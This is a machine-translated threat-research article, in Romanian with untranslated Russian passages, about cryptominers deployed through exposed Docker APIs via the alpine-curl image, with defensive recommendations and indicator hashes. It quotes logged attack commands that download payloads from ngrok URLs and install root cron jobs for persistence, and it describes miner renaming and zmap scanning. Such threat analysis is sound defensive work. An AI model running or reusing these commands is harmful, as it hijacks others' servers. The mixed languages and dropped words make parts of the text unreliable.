
Am analizat datele colectate folosind containere honeypot, pe care le-am creat pentru a urmări amenințările. Și am detectat activitate semnificativă de la minerii de criptomonede nedoriți sau neautorizați, desfășurați ca containere necinstite, folosind o imagine publicată de comunitate pe Docker Hub. Imaginea este folosită ca parte a unui serviciu care furnizează mineri de criptomonede rău intenționați.
În plus, sunt instalate programe de lucru cu rețele pentru a pătrunde în containerele și aplicațiile învecinate deschise.
Ne lăsăm honeypot-urile așa cum este, adică cu setările implicite, fără măsuri de securitate sau instalarea ulterioară a software-ului suplimentar. Vă rugăm să rețineți că Docker are recomandări pentru configurarea inițială pentru a evita erorile și vulnerabilitățile simple. Dar honeypot-urile folosite sunt containere, concepute pentru a detecta atacurile care vizează platforma de containerizare, nu aplicațiile din interiorul containerelor.
Activitatea rău intenționată detectată este de asemenea notabilă deoarece nu necesită vulnerabilități și este, de asemenea, independentă de versiunea Docker. Găsirea unei imagini de container configurată incorect și, prin urmare, deschisă este tot ceea ce au nevoie atacatorii pentru a infecta multe servere deschise.
API-ul Docker neînchis permite utilizatorului să efectueze o gamă largă de , inclusiv obținerea unei liste de containere care rulează, obținerea jurnalelor dintr-un anumit container, pornirea, oprirea (inclusiv forțată) și chiar crearea unui container nou dintr-o anumită imagine cu setări specificate.

În stânga este metoda de livrare a programelor malware. În dreapta este mediul atacatorului, care permite difuzarea de la distanță a imaginilor.

Distribuția în funcție de țară a 3762 de API-uri Docker deschise. Pe baza căutării Shodan din data de 12.02.2019
Lanț de atac și opțiuni de încărcare utilă
Activitatea rău intenționată a fost detectată nu numai cu ajutorul honeypots. Datele de la Shodan arată că numărul de API-uri Docker expuse (a se vedea al doilea grafic) a crescut de când am investigat un container configurat greșit folosit ca punte pentru a implementa software-ul de extragere a criptomonedei Monero. În octombrie anul trecut (2018, date actuale aproximativ traducător) existau doar 856 de API-uri deschise.
O examinare a jurnalelor honeypot a arătat că utilizarea imaginii containerului a fost, de asemenea, asociată cu utilizarea , un instrument pentru stabilirea de conexiuni sigure sau redirecționarea traficului de la punctele accesibile public la adrese sau resurse specificate (de exemplu localhost). Acest lucru permite atacatorilor să creeze în mod dinamic adrese URL atunci când livrează încărcătură utilă către un server deschis. Mai jos sunt exemple de cod din jurnalele care arată abuzul serviciului ngrok:
Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,
Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”După cum puteți vedea, fișierele încărcate sunt descărcate de la adrese URL în schimbare constantă. Aceste adrese URL au o dată de expirare scurtă, astfel încât încărcăturile utile nu pot fi descărcate după data de expirare.
Есть два варианта полезной нагрузки. Первый — скомпилированный майнер в формате ELF для Linux (определяемый как Coinminer.SH.MALXMR.ATNO), который подключается к пулу для майнинга. Второй — скрипт (TrojanSpy.SH.ZNETMAP.A), предназначенный для получения определенных сетевых инструментов, используемых для сканирования сетевых диапазонов и последующего поиска новых целей.
Scriptul dropper setează două variabile, care sunt apoi folosite pentru a implementa minerul de criptomonede. Variabila HOST conține adresa URL în care se află fișierele rău intenționate, iar variabila RIP este numele fișierului (de fapt, hash-ul) al minerului care urmează să fie implementat. Variabila HOST se modifică de fiecare dată când variabila hash se modifică. Scriptul încearcă, de asemenea, să verifice dacă nu rulează alți mineri de criptomonede pe serverul atacat.

Exemple de variabile HOST și RIP, precum și un fragment de cod folosit pentru a verifica dacă nu rulează alți mineri
Прежде чем запускать майнер, он переименовывается в nginx. Другие версии этого скрипта переименовывают майнер в другие легитимные сервисы, которые могут присутствовать в окружениях Linux. Этого обычно достаточно для обхода проверок по списку запущенных процессов.
Scriptul de căutare are și caracteristici. Funcționează cu același serviciu URL pentru a implementa instrumentele necesare. Printre acestea se numără binarul zmap, care este folosit pentru a scana rețele și a obține o listă de porturi deschise. Scriptul încarcă și un alt binar care este folosit pentru a interacționa cu serviciile găsite și pentru a primi bannere de la acestea pentru a determina informații suplimentare despre serviciul găsit (de exemplu, versiunea acestuia).
De asemenea, scriptul pre-determină unele zone de rețea de scanat, dar acest lucru depinde de versiunea scriptului. De asemenea, setează porturile țintă de la servicii - în acest caz, Docker - înainte de a rula scanarea.
Как только найдены предполагаемые цели — автоматически из них снимаются баннеры. Скрипт также фильтрует цели в зависимости от интересующих его сервисов, приложений, компонентов или платформ: Redis, Jenkins, Drupal, MODX, , client Docker 1.16 și Apache CouchDB. Dacă serverul scanat se potrivește cu oricare dintre ele, acesta este salvat într-un fișier text, pe care atacatorii îl pot folosi ulterior pentru analize și hacking ulterioare. Aceste fișiere text sunt încărcate pe serverele atacatorilor prin link-uri dinamice. Adică, se folosește o adresă URL separată pentru fiecare fișier, ceea ce înseamnă că accesul ulterioar este dificil.
Vectorul de atac este o imagine Docker, așa cum se poate vedea în următoarele două bucăți de cod.

În partea de sus este redenumirea la un serviciu legitim, iar în partea de jos este modul în care zmap este utilizat pentru a scana rețelele

În partea de sus sunt zone de rețea predefinite, în partea de jos sunt porturi specifice pentru căutarea serviciilor, inclusiv Docker

Captura de ecran arată că imaginea cu bucle alpine a fost descărcată de peste 10 milioane de ori
На основе Alpine Linux и curl, ресурсоэффективного инструмента CLI для передачи файлов по различным протоколам, можно собрать . După cum puteți vedea în imaginea anterioară, această imagine a fost deja descărcată de peste 10 milioane de ori. Un număr mare de descărcări poate însemna utilizarea acestei imagini ca punct de intrare; această imagine a fost actualizată cu mai mult de șase luni în urmă; utilizatorii nu au descărcat alte imagini din acest depozit la fel de des. În Docker - un set de instrucțiuni utilizate pentru a configura un container pentru a-l rula. Dacă setările punctului de intrare sunt incorecte (de exemplu, containerul este lăsat deschis de pe Internet), imaginea poate fi folosită ca vector de atac. Atacatorii îl pot folosi pentru a livra o sarcină utilă dacă găsesc un container deschis sau configurat greșit rămas neacceptat.
Este important să rețineți că această imagine (alpine-curl) în sine nu este rău intenționată, dar, după cum puteți vedea mai sus, poate fi folosită pentru a efectua funcții rău intenționate. Imaginile Docker similare pot fi folosite și pentru a efectua activități rău intenționate. Am contactat Docker și am lucrat cu ei pe această problemă.
Recomandări
rămâne pentru multe companii, în special pentru cele care implementează , axat pe dezvoltare și livrare rapidă. Totul este agravat de necesitatea respectarii regulilor de audit si monitorizare, de necesitatea monitorizarii confidentialitatii datelor, precum si de paguba enorma din nerespectarea acestora. Încorporarea automatizării securității în ciclul de viață al dezvoltării nu numai că vă ajută să găsiți găuri de securitate care altfel ar putea rămâne nedetectate, dar vă ajută și să reduceți volumul de lucru inutil, cum ar fi rularea de versiuni suplimentare de software pentru fiecare vulnerabilitate descoperită sau configurație greșită după implementarea unei aplicații.
Incidentul discutat în acest articol evidențiază necesitatea de a lua în considerare siguranța încă de la început, incluzând următoarele recomandări:
- Pentru administratorii de sistem și dezvoltatori: verificați întotdeauna setările API-ului pentru a vă asigura că totul este configurat pentru a accepta numai cereri de la un anumit server sau rețea internă.
- Urmați principiul celor mai puține drepturi: asigurați-vă că imaginile containerului sunt semnate și verificate, limitați accesul la componentele critice (serviciul de lansare a containerului) și adăugați criptare conexiunilor de rețea.
- Urma și să activeze mecanisme de securitate, de ex. și încorporat .
- Utilizați scanarea automată a timpilor de execuție și a imaginilor pentru a obține informații suplimentare despre procesele care rulează în container (de exemplu, pentru a detecta falsificarea sau pentru a căuta vulnerabilități). Controlul aplicațiilor și monitorizarea integrității ajută la urmărirea modificărilor anormale ale serverelor, fișierelor și zonelor de sistem.
Trendmicro ajută echipele DevOps să construiască în siguranță, să se lanseze rapid și să se lanseze oriunde. Trend Micro Oferă securitate puternică, simplificată și automatizată în conducta DevOps a unei organizații și oferă mai multe apărări împotriva amenințărilor pentru a proteja sarcinile de lucru fizice, virtuale și în cloud în timpul execuției. De asemenea, adaugă securitatea containerului cu и , care scanează imaginile containerelor Docker pentru malware și vulnerabilități în orice moment al procesului de dezvoltare pentru a preveni amenințările înainte de a fi implementate.
Semne de compromis
Hash-uri înrudite:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
Pe Difuzorii practicanți arată ce setări trebuie făcute mai întâi pentru a minimiza probabilitatea sau pentru a evita complet apariția situației descrise mai sus. Și pe 19-21 august la o intensivă online Puteți discuta aceste probleme de securitate și alte probleme similare cu colegii și profesorii practicanți la o masă rotundă, unde toată lumea poate vorbi și asculta durerile și succesele colegilor cu experiență.
Sursa: www.habr.com
